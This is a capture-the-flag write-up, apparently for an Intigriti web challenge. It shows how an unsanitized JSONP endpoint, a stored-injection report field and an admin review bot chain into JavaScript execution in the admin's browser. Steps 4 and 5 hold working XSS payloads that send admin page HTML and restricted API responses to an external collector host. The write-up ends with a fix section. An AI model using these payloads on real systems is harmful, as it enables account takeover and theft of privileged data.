The challenge drops you on a page with a retro TV showing static noise, channel buttons 1–10, a volume knob, and a report button in the corner. The hint is right there in the subtitle: "Make the TV work to capture the flag."

I started where I always start — reading the page source and mapping the API surface. The JS was inline, not bundled, so it was easy to read. Two endpoints stood out immediately:

GET  /api/channels/{n}/load   → returns a filename to load as video
POST /api/report              → submits a "bad reception" report
GET  /api/jsonp               → ???

That third one looked interesting. I didn't see it referenced anywhere in the frontend code.

That third one looked interesting. I didn't see it referenced anywhere in the frontend code.

Step 1 — The JSONP Endpoint

Hitting it directly:

GET /api/jsonp HTTP/2
Host: challenge-0826.challenges.intigriti.io
Cookie: session=<your_session>

/**/ ({"channels": 10});

Adding a callback parameter:

GET /api/jsonp?callback=alert HTTP/2
Host: challenge-0826.challenges.intigriti.io
Cookie: session=<your_session>

/**/ alert({"channels": 10});

Whatever you pass as callback comes back reflected as executable JavaScript, with Content-Type: application/javascript. Classic unsanitized JSONP — anything goes here.

Step 2 — Weak Validation on the Report Endpoint

The report button in the UI sends whatever channel is currently selected as channelId. Looking at the source, the only server-side validation was that the value had to start with a digit. I tested it:

POST /api/report HTTP/2
Host: challenge-0826.challenges.intigriti.io
Cookie: session=<your_session>
Content-Type: application/x-www-form-urlencoded

channelId=1<script>alert(1)</script>

{"id": "random-id", "status": "queued"}

No sanitization. HTML tags stored as-is. The status: queued part was the real signal — something is reviewing these reports.

Step 3 — Confirming the Admin Bot

I submitted a simple <img src> pointing to my server:

POST /api/report HTTP/2
Host: challenge-0826.challenges.intigriti.io
Cookie: session=<your_session>
Content-Type: application/x-www-form-urlencoded

channelId=1<img src="<attacker-url>/hello">

A few minutes later, this showed up on my server:

GET /hello HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 
            (KHTML, like Gecko) HeadlessChrome/129.0.6668.29 Safari/537.36
Referer: http://web/

Real headless Chrome. Real admin bot. Internal panel at http://web/. The <img> tag survived and fired — injection point confirmed.

Step 4 — Dumping the Admin Page HTML

Now I needed to understand what the admin panel actually looked like. I chained the JSONP endpoint as the script source — loading /api/jsonp?callback=PAYLOAD as a <script src> means the server returns our payload as executable JavaScript. The admin's own page constructs the <script> tag from the reported URL fragment, so the browser executes it without any innerHTML restriction.

POST /api/report HTTP/2
Host: challenge-0826.challenges.intigriti.io
Cookie: session=<your_session>
Content-Type: application/x-www-form-urlencoded

channelId=1%3Cscript+src%3D%22%2Fapi%2Fjsonp%3Fcallback%3Dfetch%28%27http%253A%252F%252F<attacker-url>%252Fdump%253Fd%253D%27%252BencodeURIComponent%28document.documentElement.outerHTML.substring%280%252C1500%29%29%29%253B%252F%252F%22%3E%3C%2Fscript%3E

Decoded Payload:

channelId=1<script src="/api/jsonp?callback=fetch('http%3A%2F%2F<attacker-url>%2Fdump%3Fd%3D'%2BencodeURIComponent(document.documentElement.outerHTML.substring(0%2C1500)))%3B%2F%2F"></script>

The /dump hit came in with this in the query string:

<title>Signal Monitor — report review</title>
<h1>Signal Monitor</h1>
<p>Reviewing report <code>17f689c9f2f4297e</code>. 
   A viewer reported bad reception on:</p>
<blockquote class="reported">
  https://challenge-0826.challenges.intigriti.io/challenge#1
  <script src="/api/jsonp?callback=..."></script>
</blockquote>

The admin panel takes the reported URL and renders it raw inside a <blockquote>. Our channelId ends up in the URL fragment (#1<script...>), and the admin's own template embeds it as HTML — that's why the script executes. The JSONP endpoint returns our callback as JavaScript and it runs in the admin's context.

Step 5 — Fetching Hidden Channels via Admin's Session

Normal users can only access channels 1–10. The admin can access more. I used the admin's execution context to fetch the range beyond 10:

POST /api/report HTTP/2
Host: challenge-0826.challenges.intigriti.io
Cookie: session=<your_session>
Content-Type: application/x-www-form-urlencoded

channelId=1%3Cscript+src%3D%22%2Fapi%2Fjsonp%3Fcallback%3D%28async%28%29%253D%253E%257Blet%2520r%253D%27%27%253Bfor%28let%2520n%253D11%253Bn%253C%253D20%253Bn%252B%252B%29%257Bconst%2520res%253Dawait%2520fetch%28%27%252Fapi%252Fchannels%252F%27%252Bn%252B%27%252Fload%27%252C%257Bcredentials%253A%27same-origin%27%257D%29%253Br%252B%253Dn%252B%27%253A%27%252Bres.status%252B%27%253A%27%252B%28await%2520res.text%28%29%29%252B%27%257C%27%253B%257Dfetch%28%27http%253A%252F%252Fsx4tmjtu.requestrepo.com%252Fchannels%253Fd%253D%27%252BencodeURIComponent%28r%29%29%257D%29%28%29%253B%252F%252F%22%3E%3C%2Fscript%3E

Decoded Payload:

channelId=1<script src="/api/jsonp?callback=(async()%3D%3E%7Blet%20r%3D''%3Bfor(let%20n%3D11%3Bn%3C%3D20%3Bn%2B%2B)%7Bconst%20res%3Dawait%20fetch('%2Fapi%2Fchannels%2F'%2Bn%2B'%2Fload'%2C%7Bcredentials%3A'same-origin'%7D)%3Br%2B%3Dn%2B'%3A'%2Bres.status%2B'%3A'%2B(await%20res.text())%2B'%7C'%3B%7Dfetch('http%3A%2F%2Fsx4tmjtu.requestrepo.com%2Fchannels%3Fd%3D'%2BencodeURIComponent(r))%7D)()%3B%2F%2F"></script>

Response received on my server:

11:200:3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4
12:403:channel not available
13:403:channel not available
...

Channel 11 exists and the admin can load it.

Step 6 — Loading the Hidden Channel

https://challenge-0826.challenges.intigriti.io/static/streams/3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4

The flag was displayed directly on the TV screen in the video.

Flag

INTIGRITI{019ff176-bc01-7543-9e81-46e417c8b39b}

Why It Works

The attack chain has three parts that each seem fine alone but together create a full exploit:

1. /api/jsonp reflects callback into JavaScript — harmless if nobody loads it as a <script>

2. /api/report stores channelId without sanitization — dangerous only if something renders it

3. The admin panel renders the reported URL as raw HTML inside a <blockquote> — this is the sink that connects the other two

None of the three is catastrophic alone. Together they give unauthenticated JS execution in an admin browser.

Impact

Any unauthenticated user can execute arbitrary JavaScript in the admin's browser by submitting a single report. From there they can read admin-only API responses, exfiltrate session data, or access any restricted resource the admin can reach — all without any credentials.

Fix

• Strip or escape HTML from channelId before storing it

• Restrict /api/jsonp?callback= to valid JS identifiers only (/^[a-zA-Z_$][a-zA-Z0-9_$]*$/)

• Never render user-submitted content as raw HTML in an admin interface